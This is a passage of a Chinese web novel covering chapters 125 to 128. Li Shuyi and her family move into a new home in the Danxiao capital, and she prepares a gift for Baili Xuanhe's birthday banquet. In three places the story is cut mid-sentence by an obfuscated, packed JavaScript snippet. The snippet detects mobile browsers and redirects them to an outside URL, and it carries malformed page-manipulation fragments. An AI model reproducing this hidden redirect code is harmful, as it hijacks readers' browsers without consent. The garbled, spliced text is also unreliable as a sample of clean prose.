然而骚动才刚刚冒头,紧接着却又陷入到诡异的沉寂之中,尽管是邻国之事,但是丹霄的百姓们也都知道,昭王和昭王妃一年多以前死于叛乱,西景最近的腥风血雨也是因此而起的,于是那失而复得的惊喜转为得而复失的伤感。 黎书意一边磕瓜子一边听他们议论。 “二姑娘,回去时需不需要向世子说一声?”一旁,兰亭担忧地问。 将瓜子壳丢在小瓷缸里,黎书意悠然回道:“不用管。” 若是丹霄皇帝想要隐瞒,那断然是传不出半个字的,恐怕是她特地借下人之口将此事传扬出去,目的嘛,自然是为了名正言顺认回谢烜赫。 125. 新居 在俪兰停留了三日,隔天一早队伍便启程上路了,出城要比入城时热闹得多,大街上人潮汹涌,大家都听到了传言,皆是为了一睹平阳公主遗子谢烜赫的风采而来。 离开了俪兰,他们时而翻越浓荫匝地的荒山,时而路过人烟阜盛的城镇,如此紧赶慢赶行了数日,终于到了丹霄皇都,伊洛。 奔波了一路,黎书意对丹霄的风土人情算是有了基本的了解,然而临了心里还是有些慌乱,毕竟伊洛和别的地方不同,这是他们即将安顿下来的地方,她再豁达,也还是担心城中百姓对黎家的看法。 穿过巍峨的城楼,耳边涌来嘈杂的人声,热闹程度比之前通过的那些关隘不知翻了多少倍。 就像之前一样,黎书意挑起窗帘的一角,坐在暗处观察着外面的情况,皇都的官道平坦宽阔,道旁金碧楼台相倚,此时楼前观者如山。 也像之前一样,百姓们的议论随风飘进车中。 “那便是二公主之子!” 只见大家的目光整齐划一地投向前面的某个地方。 因为视野局限,黎书意是看不见谢烜赫的,不过透过百姓带着好奇、怜爱和崇敬的注视,也知道他们对这位刚认回的世子是极认可的。 “丰姿隽爽,萧疏轩举,不愧是平阳公主之子!” “那景帝当真无耻,我们的公主没战死在沙场上,却死于龌龊的算计之中!” …… 他们一半是对谢烜赫的赞扬,赞扬他继承了公主的遗风,一半是对景帝的唾骂,骂他残害了公主的性命。 当然,百姓们不止议论皇帝、世子和公主,也议论黎家人。 “这位就是从无败绩的黎大将军,确如传言所说,神采英拔,威风凛凛!” “唉……这样的良将居然被那样对待,真是令人唏嘘。” “他身边的少将军也是一表人才!” “我听说黎大将军还有一个女儿,长得琼姿花貌,极其擅长诗文,不知是否是真的?” 听见百姓谈及自己,有的人还往马车这边探看,黎书意急忙放下了窗帘。 十里长街,万民夹道,前行的路上说话声一直不绝于耳,她的思绪如同过境的轻风,穿街而过,越吹越远。 “二姑娘,二姑娘!” 思绪飘飞间,听见兰亭唤自己,她恍恍惚惚回神,抬眼一看,见车帘不知何时已经掀开了,富春姑姑和天元姑姑正站在车旁。 待叔母、兰亭和舒凌寒依次下车后,她躬身出了车厢,手顺势攀到递过来的胳膊上。 等双脚踏在地面上,她收手侧头时却发现扶她的人并非谢烜赫,而是兰亭,不由得一愣,再回转过头往前看,一栋华美的宅邸映入眼帘。 下一刻,她又向巷道两侧扫去,然而除了家中亲眷和近边的百姓,并没有瞧见谢烜赫的身影,她心里头突然一空。 是了,她怎么给忘了,入皇都后便是彻底的安顿了,眼下谢烜赫不再是以她的侍卫而存在了,他们又非一家人,自然不会住在一起,早知道她该在入城前先道个别的…… “二姑娘,二姑娘。”兰亭叫道。 耳边的呼唤将黎书意从怅然的情绪中拉出来,她双眸聚焦,看着站在门口等待的亲人们,终于露出笑容迈出右脚,跟随父兄的步伐,跨进了他们在丹霄的新家。 宅邸外院开阔敞亮,左边假山池塘,右边松柏环抱。 刚走没两步,一个微胖的中年妇女并两个小丫头迎面而来,到了跟前,中年妇女向他们施了一礼,含笑道:“老婆子叫做春望。” 说毕,领着他们往里走,一面走一面给他们说起府上情况来:“这宅子沿中线分三路展开,一共四进,有九个院落,府中丫鬟、小厮、婆子和侍卫共计一百人……” 之后,他们便跟着春望姑姑在几个院子里随意转了转,虽说这地方不及孟章的宅邸大,但是布局移步换景,亭池山石错落,花草树木相缀,清逸秀美,景致怡人。 看过以后,黎书意择定了易安居,父亲、兄长和叔父叔母分别要了长卿院、伯灵院、信陵院。 选好了居所,大家便各自入院安置去了,黎书意带着兰亭和舒凌寒来到易安居。 小院面南背北,正房由大小相等的三间房舍组成,两边并两个耳房,西南角有一座精巧的凉亭,旁边是一个石头堆砌的圆池,另一侧栽植着许多花木。 按照看房时就打算好的,她将中间的作为小厅,右侧的做卧房,左侧的做书房。 等府中小厮将装有衣服、首饰和书籍的箱子抬进房中,三人便动手开工,兰亭摆放衣服,舒凌寒收拾首饰,黎书意则把带来的那些孤本珍藏归置到书架上。 在一片忙碌之中,日光渐渐被晚霞取代,待东西差不多安置妥当了,院里做洒扫的丫头走进来道:“二姑娘,那边通传说可以用饭了。” 既是迁入新居,这首顿饭自是得全家人一起吃的,席面摆在长卿院中。 换了一身衣服,黎书意便动身了,到膳厅后,见人已经来齐,丫头们正在布菜,她依次唤了父亲、叔父、叔母和兄长,然后在食案边坐下来。 案上碗盘森列,菜色斑斓,香气四溢,吃了半月的丹霄菜,她早就适应了各种风味,帝都是一个荟萃之地,食物自然做得更精道,她的食欲已然被勾起。 等菜的间隙多少有些无聊,大家便不自觉地互看或是闲聊,发现彼此脸上皆带着喜色,黎书意知道这是对开启新生活的美好憧憬。 菜上齐后,她端起手边的酒盏朝前一递,笑着鼓动道:“为我们即将开启的新生活举杯!” 案上其他人见状相继抬起了酒盏,瓷器相撞的声音清脆悦耳,饮完杯中酒放下,他们拿起筷子,家宴就此开始。 酒甘美醇厚,菜五味俱全,席间欢声笑语不断,一直吃到天黑,他们方才散席。 回到院中,黎书意在榻上坐下,吹着凉风醒酒,静夜沉沉,窗外月光如水,池面波光浮动。 坐了半个时辰,待酒差不多醒了,她起身去浴房沐浴。 热气氤氲,赶路多日,她早已疲惫不堪,此时更是昏昏欲睡,待头发绞干后,便上床睡下了。 次日,她辰时才醒,补够了觉,连日的困乏也一扫而空。 洗了脸漱过口,她坐在镜台前由着兰亭为她梳发上妆,穿戴齐整后去到小厅,见舒凌寒正在摆早膳,她走到食案边坐下。 案上摆着乳粥、糖脆饼和枣团,香味淡雅柔和,尽管肚子已经很饿了,她却并未立即开动,而是先朝外面瞧了一眼,这一瞧只瞧见了空落的庭院,她不禁发出一声轻笑。 舒凌寒正在舀粥,冷不丁听见笑声,不解地问:“二姑娘笑什么?” “没什么。”黎书意回道,心下却是笑自己又犯傻气了,刚刚她居然在等谢烜赫一起用饭,习惯真是可怕的东西。 吃毕早膳,她去向父亲请安,到了院中碰见富春姑姑,一问才知父兄卯时便出门了。 经提醒,她这才想起来,两人现在已经是丹霄的臣子了,而身为臣子,自然得上早朝。 “唉……”她肩膀一耷拉,为自己还未能适应新生活而叹口气。 刚叹完,正欲转身离开,听见院里丫头们的问候声,一扭头瞧见父兄走入院中,她忙迎上前去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545784|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走近了,发现两人身后还跟着一群人,为首的是一名年轻女官,站定之后她高声唱道:“上赤金五万两,五彩宝石五十颗,各色绸缎二十匹,各种兽皮十匹……” 唱完之后,女官朝他们行了一礼,然后便领着送赏赐的人离开了。 看着她的身影彻底消失在院门口,黎书意终于憋不住转回视线,向父兄询问:“是何职?” “左武卫大将军!”黎长策回道。 黎书意微微点头,这官职比原先的名号要低一头,不过她倒没太多想法,尽管父亲从前战功累累,但现在是新的开始,如今他寸功未建,当然不可能一步登天。 没关系,慢慢争来就是了,他们不就是为这个而来的吗? 正想着,闻兄长道:“不问问他?” 她疑惑地抬起头,当看清了兄长脸上的调侃神情,瞬间了然他指的是谁,于是顺口问道:“何爵?” “陛下封他为定王,并改名百里烜赫。” 黎书意知道谢烜赫一定会封王,可改名却是未曾想过的,此时听见这个即陌生又熟悉的名字,她不由一愣。 不过仔细想想也合理,身为丹霄的王,未来还可能继承太子之位,怎么能用外姓呢。 …… 次日一早,弄装梳洗完,黎书意带着兰亭和舒凌寒钻进了库房,三人将从西景带来的贵重物品与昨日陛下给府中的赏赐仔细核对了一番,然后黎书意转进了书房,埋首在书案前梳理、开册。 用过了午膳,她让兰亭和舒凌寒把富春姑姑、天元姑姑,以及春望姑姑叫到跟前来。 宅子里住了近两百号人,要想一切井井有条,必须依靠秩序来维持,可如今小半人并非将军府的旧人,又加上情况变了,需要重新安排。 不多时,三人来至她书房。 “今天叫你们过来,是想说一下掌家的事。”说着,她抄起写好的单子,走向三人。 在富春姑姑身前停下,她将人丁册和各库房的备用钥匙递交出去道:“富春姑姑,这个家以后还要继续拜托你照管。” 接着,她走向天元姑姑,原先在西景时,家中颇具田产,那些个庄头她信不过,于是便让天元姑姑收管各处房田事务。 如今来到丹霄,家中目前只有两个赏赐的庄子,那点东西还犯不着让姑姑去看管,递上银库房的账册和钥匙,她道:“天元姑姑,以后府中银钱的出入和账目管理就请你多帮忙了。” 从前这事是由她做的,如今来了丹霄,这里对贵族女子的约束不似西景严苛,她们可以经商、从戎、求学…… 尽管现在她还没想好之后要怎么走,不过可以确定的是,她不打算守着这所宅院过活,所以她很需要一个精通算学的人来帮她处理,这样能大大减轻她的负担,她只需每旬核实一次账目即可。 最后,她来到春望姑姑身前,虽说前日才刚认识,但接触下来,发现这人办事得利,是个可用之人,“姑姑,我们初来乍到,对伊洛尚不熟悉,日后府中的采买便拜托你了。” 安排完,她依次扫过面前的三人,她们其中两个是家里的老人,另一位也经验丰富,她相信她们能管理好一切,对着三人满意地一笑,她唤兰亭:“兰亭,把东西拿过来。” “是。”兰亭应声抬着托盘上前。 托盘里摆了三个小木匣,匣子里放着黎书意准备好的赏赐,每一个里头都装有一块鱼玉坠,三片金叶子,六颗珍珠,和一串红玛瑙十八子手串。 “这是礼物,还请姑姑们收下。” 三人含笑道谢接赏。 黎书意又向她们道了声拜托,然后将人送出了书房。 126. 送礼 待三人走远了,黎书意转身折回屋中,坐在案边放空,这时舒凌寒端着茶过来,看见她,黎书意惊呼一声道:“对了,还有你!” “婢子怎么了……”舒凌寒不解其意。 黎书意笑开,解释说:“你不打算继续重新开店了吗?” 舒凌寒闻言心头一动,尤其她曾经体验过打理铺子的成就感,到了更宽容的地方又怎么会没有心思呢,只是没想到二姑娘竟然会主动提及。 “丹霄比西景少了许多桎梏,你这段时日可以好好想想你打算干什么,等家里彻底融入了伊洛的生活,我好开始替你打点。” “谢二姑娘成全。”舒凌寒说不出的感激,欲下跪行礼。 “不用。”黎书意伸出手,制止了她下跪的动作,“这是我们从前的约定,如今还有不到三年的期限,我不过是履行承诺而已。” 说罢她往后瞧去,问正在整理书架的兰亭:“你呢,你若是也想出去,便现在同我说了,我好一并解决。” 尽管有些离不开这丫头,但没道理给舒凌寒机会而不给她。 “婢子……”兰亭指了指自己,旋即头摇得跟个拨浪鼓似的,回答说,“婢子还是就待在这吧……” 她对经商丝毫不感兴趣,除却这几个月颠沛流离的逃亡生涯,她很满意将军府里的生活,并不想改变。 不过,她心里谨记着二姑娘曾经对她的教诲,她目前想的就是多识些字,再学好珠算,日后成为像富春姑姑和天元姑姑那样的人,好为二姑娘分忧。 “好吧。”黎书意未再多言,舒心地叹了口气,她从座位上起身,准备解决另外一件事。 站在房中,她扭着头环视四周,目光挑剔地扫过入眼的每一样物件,思考着该如何调整。 搬进来时,她只安置了带来的生活用品,陈设什么的未做改动,可这里尽管布置精美,却显得沉闷厚重,又加上是新居,有些物品还欠缺,既然要长久的住下去,自然得按照喜好来装点。 尤其她长时间待在书房,这个地方必须得舒适、洁净,并且符合她的意趣,如今这里的文房清供显然不能满足。 首先,她时常夜读,需要一盏高度和亮度适宜的灯盏,哦,对了,墙上还缺少屏风挂画,但这些于她而言不只是简单的装饰,只能等她日后逛街看到了合适的再买。 接着,她穿堂去了卧房,照例四处审视,隔帘和床幔的颜色太深,她打算换成银红软烟罗的,还可以再加些浅蓝色珠帘点缀。另外,她有点香的习惯,壁角还缺一个香几。 把需要采买的东西记下,她唤来院子里的丫头,让她交给春望姑姑。 正准备折回去,听见院外传来叮叮当当的响声,心中有些疑惑,她又招回那小丫头问:“外面发生何事了?” 小丫头道:“听人说好像是定王殿下登门拜访,送了不少礼物。” 谢烜赫来了,她眉头惊喜地挑起,已经两日未见,她有些迫不及待地想见他。 然而步子才刚迈出去,她又迟疑着停下来,尽管是在自己家里,但有小半人如今还算是陌生人,眼下初来乍到,身份也发生了转变,况且男女有别,她多少得注意点形象,就这么过去似乎不太好。 想到这,她转回房间去了,一边坐着喝茶,一边等着父亲差人来叫自己。 一杯茶还未饮尽,听见院子里有吵闹声,她急忙出房门,然后一眼就看见了廊下走来的玄衣少年,以及他身后跟着的一群人。 “你这是……”她看着走近的谢烜赫问道。 “来给府上送乔迁之礼的,几个院子都送了,就差你这了。” 黎书意闻言唇角抑制不住地上勾,被这个冠冕堂皇的理由给逗笑了,若是只为送礼,只需要送到父亲那里即可,父亲自然会差下人搬进她院中,哪里用得着他亲自来。 她也不挑明,装模作样的来一句:“哦,那便谢过定王殿下的美意了。” 谢烜赫望着揶揄自己的少女,她今日穿了一身绿白相间的裙裳,清雅如春日里一朵初绽的梨花。 不过两日未见,思念便如藤蔓爬满了他的心墙,目光在那张灵动俏丽的鹅蛋脸上流连了片息,他转头向手下人道:“把东西搬进去。” 得了令,那些人立刻行动起来,灯盏、瓷器、盆花……精巧美丽的物件一个个从黎书意眼前掠过。 当看见嵌玉雕夔龙纹插屏,她开口夸赞:“这屏风不错,正好放在书房。” 话音刚落,就见谢烜赫对抬屏风的人道:“放书房。” 待抬屏风的人进了书房,两人也前后脚跟进去,黎书意用手指挥着摆放位置,谢烜赫则在旁看着,下人放完屏风和笔墨纸砚后,相继退了出去。 等屋里只剩下两人,黎书意扫一眼新添置的器物,对一步开外的人打趣道:“定王殿下出手当真阔绰,臣女非常满意!” 门外站着兰亭和舒凌寒,两个丫头向书房里的二人扫了一眼,没人比她们更清楚二姑娘和定王的关系,为给屋里的人留下说话的空间,她们一个人吩咐院里的丫头好生归置送来的东西,一个人招呼着搬运东西的下人。 屋内,空气里一片安静,黎书意和谢烜赫隔着一步的距离面对面而站,两人的目光对上以后,仿佛被无形的丝线缠绕在一起,根本离不开。 半晌,黎书意先承受不住少年热烈的注视,她轻咳一声,打破暧昧的氛围问道:“你这两日过得怎么样?” “还好,就是有些忙。” 她听后了然地点头,父兄尚且忙得脚不沾地,况乎他这个刚封的王爷呢。 提到封号,她不由联想到他的新名字,于是起了逗弄的心思,便调侃道:“我现在是不是该叫你百里烜赫了?” 说罢,见面前的人无奈地看她一眼。 玩笑点到即止,默了片刻,她认真地问:“舍弃从前的姓会不会难过?” 谢烜赫摇头,旋即解释说:“仔细想想,除了父王以外,这个名字并没有带给我什么美好的回忆。” 黎书意原本打算再说些什么的,这时,视线瞟见了几个丫头从隔壁房间出来,便回望向眼前的人催促道:“你该走了。” “嗯。”谢烜赫应着,可人却站着不动,眼睛依旧定定地注视着她。 她只好又催一遍:“快点,来日方长。” “好。”谢烜赫右脚终于动了,“那我下次再来看你。” “嗯。” 将人送走,黎书意回至厅中,她环视着增添了新意的环境,谢烜赫,不,百里烜赫今日送来的物件与她的品味十分吻合。 经过一番悉心的布置,此时整个空间焕发出了别样的生机,清逸雅致,繁简相宜,精丽却不俗气。 …… 清晨,柔和的春光斜穿过草木扶疏的院落,照在镜台前的窗棂上,黎书意安坐在绣墩上,兰亭正专注地为她绾发。 簪子插好之时,舒凌寒从外面走进来道:“二姑娘,马车已经备好了。” “嗯。”黎书意应着,左右转头瞧了瞧镜子里的自己,觉得妥当了,便起身朝外走去。 来这里已有三四日了,今日她打算出门一趟,去万通钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545785|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄取回寄存的银钱,也顺便到街上逛逛。 主仆三人相携出府,坐上了停在门口的马车。 “二姑娘准备去哪?”车夫转过头来询问。 黎书意闻言道:“哪有万通钱庄?” “叶影街和花锦街都有。” “哪条街最热闹?” “花锦街。” “那便去花锦街。” 大半个时辰后,马车在花锦街街角停下,下了马车,主仆三人顺街而走,大街上车马粼粼,人流如织,两边店肆林立,通衢越巷,满目繁华热闹。 环视了一圈,黎书意先进了一家绸缎铺,她带来的衣裳并不多,制式也与这边的略有些差距,入乡随俗,她打算给自己做几身新衣裳。 走入店中,但见绸缎琳琅满目,刚在某个柜台前站定,一名伙计热情地迎上来道:“这位姑娘好眼光,这都是刚从西景西陵织造司运过来的新品,色泽华丽,图案精致,质地柔软,穿在身上亲肤又飘逸。” 黎书意边听着伙计介绍,边用手抚摸着冰凉丝滑的布料,西陵织造司名扬天下,商品出口至此并不是件令人意外的事,但是这莫名令她有种亲切感。 最终,她为自己挑了三匹锦缎,又分别为父兄挑了两匹,兰亭和舒凌寒两人也心痒难耐,各挑了两匹。 从绸缎铺出来,黎书意站在街头四扫,思索着接下来去哪,这时,对街一家叫做百味书局的店引起了她的注意,于是她便穿街进到店中一探究竟。 进去之后,她发现这个书局比文心书局还要宽敞,书籍种类也更丰富,虽说从前她也读过一些丹霄文人撰写的诗文和话本,但是数量却十分有限,它们只是在西景流传度最广的罢了,作为了解丹霄的文史来说,是不够客观全面的。 她沿着排列齐整的书架慢慢逛着,看见感兴趣的便拿到手上,翻看过后觉得有意思了便递给兰亭,打算买下。 挑了一本骈文总集,她走向另一个书架,在书架上发现一本名为《古今》的诗集,于是好奇地抄起来,粗略地扫了几篇,大概能看出是以历代名士和历史陈迹为题材的咏叹怀古诗集。 刚粗览完前三页,两名年轻男子走了过来,两人也各自抄起一本书翻看起来,看了一会便议论开了。 “不愧是李诗施,文从字顺,格高意远!” “去岁她年试上所作之诗我至今难忘,真不知这样才貌双全的女子未来的夫婿会是怎么样的?” “做梦吧你,人家才貌出众,门第又高,不是你我能肖想的,再说,传闻圣上一直属意她和花将军做未来的太子妃呢!” 两人的话激起了黎书意的兴趣,她在另一侧假模假样地看书,实际上一双耳朵高高竖起。 “对了,说到这,我听说圣上打算把认回的定王当作太子培养。” 闻言,黎书意的眼神骤然一闪,怎么也没想到刚听八卦就听到了自己身上。 “大约吧。”那人随口回道,说完拿着书走了。 待人离得远了,兰亭向她投来担忧的目光,“二姑娘……” “我无事。”黎书意对身旁的二人说道,言罢,她拿上书继续往前逛,捕风捉影的话而已,实在没必要放在心上。 又挑了两册话本,她才离开书局。 出了书局,她直往万通钱庄而去,当舒凌寒将牌符递给掌柜时,掌柜连连朝她瞥过来,估计是看数额太大,怕她作假。 她镇定自若,待验过了真伪,老板终于兑换了等额的银票给她,拿着几万两银票,她没敢再在街上晃荡,于是便上马车了。 127. 大宴 回到府上,人刚坐定,正喝茶时,兄长来到院中,告知她说后日有一场宫宴,他们被邀请举家参与。 宴会是为百里烜赫设的,不日就是他十八岁生辰了,圣上想借着这个机会大办一场,正式将他介绍给丹霄的王公大臣们。 “生辰啊……”兄长走后黎书意若有所思,百里烜赫送她的礼物历来用心,而她从前多少有些敷衍,这次该好好想想了。 开了府库大门,她的眼睛从古玩器物、五彩珠玉、绫罗绸缎和珍贵药材上划过,总觉得都差点意思,这些东西百里烜赫并不缺,他或许更希望收到饱含着她心意的礼物。 思来想去,她觉得还不如送一副画来得实在,遂入了书房,让兰亭备好笔墨。 画什么好呢……她绞尽脑汁,半晌,脑海里忽然涌现出山庄书房内,那张百里烜赫为她所作的画像,要不然她也画他? 犹记得那日,她与林静仪在屋中弹琴,他手持斩霄在树下舞剑,少年身姿挺拔如松,剑势时而如雷霆万钧,时而如微风拂柳,说不尽的意气飞扬,在她心里留下了深深的印记。 主意一经定下,她立刻行动起来,在画案上铺开宣纸,摆开画具,而后执起画笔作画。 她依着记忆中的场景,在纸上精心勾勒,俊逸的面庞,轻灵的身姿,飘飞的衣袂,凌厉的剑招……她一笔一划认真描绘,画好之后,轻沾颜料,细致地上色。 待颜料干透了,她着手装裱,先吩咐兰亭准备好纸张、浆糊、刷子、薄竹片等物,然后亲自动手托裱、方裁、镶活、装轴。最后,她将裱好的画装入长木盒中,只待送出。 宫宴这日,黎书意午间便开始准备了,尽管只是作为陪衬,但是今夜他们黎家人必然会成为诸位宾客关注的焦点,她断不能辱没了门楣。 兰亭心灵手巧,这些日子已经将丹霄女子的发式和妆面学会了,她先替她绾了一个朝云近香髻,接着为她傅粉、画眉、注唇,并在眉心绘上了一朵牡丹花钿。 关于衣裳,黎书意左挑右选,最终挑了一件粉色直领对襟衫和一条橘色齐胸襦裙,两种颜色搭配得恰到好处,既不会太艳,也不会太素,参加这种场合正合适。 待换好了衣裳,父亲院里的人过来传话,说是可以出发了,于是她让兰亭拿上备好的礼物,主仆二人这才出院了。 行至二门,正巧碰见兄长,他身着浅蓝色鹤纹锦衣,发束玉冠,仪表堂堂。兄妹二人相遇后便结伴同行。 等到了外院,见父亲、姑父和姑母都已在等候,三人皆是服饰严整,人到齐后,五人一同朝大门走去,坐上了停在门口的两辆马车。 黎书意来到丹霄的时日尚短,对周边诸多地方还不熟悉,坐在马车里,她心中既感觉无聊,又因为宫宴而略微有点紧张,于是时不时会掀开窗帘朝外张望几眼。 也不知过了多久,马车缓缓停下了。 兰亭躬身拉开车帘,黎书意跟着踏下马车,然后她微仰着头,看着眼前红墙金瓦的宫城。 据她所知,这座宫城是丹霄建国后新建的,规模自然比不上身为几朝旧都的孟章宫城。 不过,相应的,这里少了几分历史积淀下的沉重压迫感,建筑整体布局大气磅礴,细节之处又尽显雅致。 在夕阳的映照下,宫城被镀上了一层璀璨夺目的金色光辉,显得辉煌壮丽。 他们举家进入宫门,路上偶尔碰见一同赴宴的臣子,大家友好地与之寒暄。 宫宴时辰渐近,麟德殿内宾客已到了七成,与平日的宴会无异,此刻各家小辈正随长辈们在园中穿梭,彼此寒暄结识。 大家叙谈到最后,话题转到了今日的宴会主角——定王殿下身上。这位平阳公主的遗子距今入丹霄已有几日了,然诸多城中勋贵还尚未与他接触过,众人皆怀着巨大的好奇心。 再者,便是新近封作左武卫大将军的黎横天。这位儒将的威名不仅扬于西景,在丹霄亦是如雷贯耳,他们说着说着,连带着谈及他的一双儿女,传言两人都很出色。 大家议论纷纷,有大臣凑头低语,言定王殿下入朝,朝中格局必将大变,也有大臣寄予厚望,盼着黎横天的加入,能扬丹霄的军威。 一些贵妇人则笑谈家事,说听闻那黎长策仪表堂堂,且尚未婚配,实为佳婿之选,一众小姐则更好奇,那才名远播的黎书意是否名副其实…… 众人正谈至兴浓处,看见两名宫人引着一行人步入园中,那五人相貌气度皆不凡,恰是他们方才所议之人。 那为首的中年男子身姿挺拔如松,穿一身墨色绣暗纹长袍,腰束革带,剑眉星目,眉宇间透着久经沙场的坚毅与沉稳,正是左武卫大将军黎横天。 他两侧各跟着一男一女,左侧的二人年岁稍长,应是其远亲及家将黎裕与他的夫人,右侧十七八岁的年轻男女,当是他的那双儿女了。 只见少年身形高挑匀称,着一袭浅蓝色锦袍,袍上以银线绣鹤纹,清雅不凡。他眉如墨描,明目朗星,俊逸的脸上含着淡淡笑意,温雅中透着一丝英气。 他旁侧的少女鬓发乌黑,发间插着镏金点翠步摇,面若鹅卵,眉弯新月,双瞳剪水,身上穿着粉橘色衣裙,举止优雅从容,整个人如春桃般娇艳动人。 黎书意刚踏入麟德殿,便敏锐地察觉到一众宾客投来的目光,其中不少还是落在自己身上的,明明历经无数大宴,可她在这般直白的审视下,竟也感到了一股压力。 “这黎书意模样生得确实好。” “徒有美貌有何用,不过是个花瓶罢了。” “我听闻其诗词造诣颇高,西景不少文人雅士都对她的诗作赞誉有加。” “空有其名也未可知,难道还能比过李诗施。” …… 闲言碎语顺风飘进耳朵里,因早有心理准备,黎书意并未过于介怀,她跟在父兄身后,目不斜视地稳步前行。 由于丹霄有女子入仕,席间座次并非依男女划分,而是取决于官阶,然后再以家族为团体安置,在宫人的引领下,他们一家入席就座。 黎书意来伊洛时日尚短,且这是她初次涉足社交场合,宴会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545786|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上皆是陌生的面孔,她便安然静坐,只一双眼沉静地打量着对侧席位上的男女,细细观察着丹霄的勋贵们。 正凝视间,左耳传来一道清甜的嗓音:“你好,我叫魏慕依。” 黎书意闻声转头,看见一个与她年纪相仿的少女,她长着一张圆脸,杏眸灵动,笑起来仿若明媚的阳光般温暖。 姓魏,且席位相邻,想来这位应是兵部尚书魏廉之女,黎书意礼貌地回应:“你好。” “你果真是如传言那般美丽动人。”魏慕依盯着她的脸由衷赞叹。 这话不便回答,她便微笑不语。 两人略寒暄了几句,黎书意又将视线投向了对面,这时,她在排头的位置发现一位气质出众的女子,她面容沉静,衣着虽简单,却难掩通身贵气。 魏慕依留意到她的目光,贴过来轻声介绍道:“那是睿靖郡主。” 睿靖郡主,原来她便是被丹霄皇帝当作继承人培养的宗亲之一,皇帝的三叔慎王之女百里念,外界皆传其自幼聪慧,好天文算数,为人端庄持重,仁慈宽厚。 看出黎书意的好奇,之后魏慕依又陆续为她解说宴席上其他重要宾客的身份。 正说着,一位锦衣丝履,体态略显臃肿的青年男子在仆从的簇拥下步入宴场,身旁之人纷纷行礼问候:“见过寿王。” 寿王百里兴,皇帝亲姑之孙,亦是培养的继承人之一,传言他少时聪明伶俐,然而随着年龄的增长,性格逐渐走偏,开始沉迷玩乐,疏于学习,越发飞扬跋扈,且十分好色。 “淫棍!”黎书意听见魏慕依在旁轻声啐道,语气中满是嫌恶。 紧接着,她们重拾被打断的话题,魏慕依带着黎书意将到场的重要宾客辨认了个大概,最后她话头一转,关切地询问黎书意在此处生活是否习惯,还说若觉无聊可随时找她。 黎书意一一作答,身边的这位姑娘性格开朗热忱,相处起来令人倍感舒畅惬意。 “陛下、定王到!” 这时,一道高亢嘹亮的唱喏打断了宴会上纷杂的谈议,诸位宾客闻声齐齐转头。 黎书意也循声望过去,只见园门之处,丹霄皇帝身着金线绣九龙的明黄袍服,头戴销金嵌宝的冠冕,精致的面容透着从容与庄严,款步徐行间,衣袂若有流光,王者威仪较她之前所见更甚。 百里烜赫在皇帝左侧一个身位之后相随,他一袭玄青色绣金纹锦袍加身,发束金冠,长身鹤立,姿容清冷,丰神俊朗恰似美玉生辉。 再看皇帝右侧,跟着一位红衣女侍卫,她身佩长剑,墨发以红绸高高束起,秀眉斜飞入鬓,目若潭中沉石,整个人英姿飒爽。 黎书意几乎在瞬间便明了其身份,她定是名动丹霄的女将军,右卫中郎将花英,中书令花玄成之女。 “见过陛下、见过定王。”众人纷纷躬身行礼。 黎书意亦随之福身行礼,待直起身子之时,恰见百里烜赫朝这边投来目光,与她四目交汇,然仅一瞬,少年便不动声色移开了视线,继续随同皇帝稳步朝前走去。 128. 散步 等皇帝稳步登上高台,于御案之后安然落座,诸位臣子依序相继入席,整个过程井然有序,肃静无声,只闻衣袂摩挲与轻微的脚步在响动。 片刻之后,开始传菜。一群绿衣侍女端着托盘穿梭于席间,一时间,杯盘如流水般次第摆放在众人案前,八珍玉食,琳琅满目,丰盛至极,另有年轻侍者垂手静立在旁,随时待命。 高台之上,皇帝望着席下一片和谐之景微微昂首,然后清越嘹亮地开口讲话,言辞之中饱含慈爱与欣慰:“朕近来心中颇为喜悦,找寻多年,终于寻得了失踪皇妹的踪迹,且认回了她所遗之子!” 说到这,她顿口,目光轻瞥向下座的百里烜赫,继而又道:“恰逢今日乃朕的侄儿十八岁的生辰,朕遂决定设此盛宴,将他引荐于诸位爱卿!” 说罢,皇帝目光缓缓扫视全场。 下一刻,殿中众人齐声恭贺,声音此起彼伏,盈满殿堂。 宫宴正式拉开帷幕,一群宫廷乐师缓步入场,鸣钟击磬的声音相互应和,清越悠扬,余音袅袅。 为首那乐师,穿一身青绿色丝质长袍,面若美玉,清逸出尘,奏一把古琴,姿态从容典雅,清灵的琴音自他指下倾泻而出,让人犹如置身幽静森林,耳边是清泉潺潺,莺声燕语。 黎书意被他挥洒自如的琴艺所吸引,满是好奇地偏头,向身旁的魏慕依打听:“那抚琴之人是谁?” 魏慕依顺着她的视线望去,随即笑道:“那是严千隐。” 